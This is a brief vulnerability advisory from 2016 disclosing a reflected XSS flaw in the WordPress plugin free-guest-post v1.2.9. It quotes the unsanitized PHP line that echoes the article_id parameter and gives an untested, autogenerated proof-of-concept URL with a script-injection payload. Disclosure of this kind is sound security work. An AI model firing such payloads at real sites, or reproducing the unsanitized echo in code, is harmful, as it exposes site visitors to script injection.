Advisory #: 746
Title: Reflected XSS in wordpress plugin free-guest-post v1.2.9
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/free-guest-post
Downloads: 2543
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: free-guest-post
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./free-guest-post/views/article_view.php: 180: <input type="hidden" name="article_id" value="<?php echo $_GET['article_id'];?>"> The variable article_id appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./free-guest-post/views/article_view.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/free-guest-post/views/article_view.php?article_id="><script>alert(1);</script><"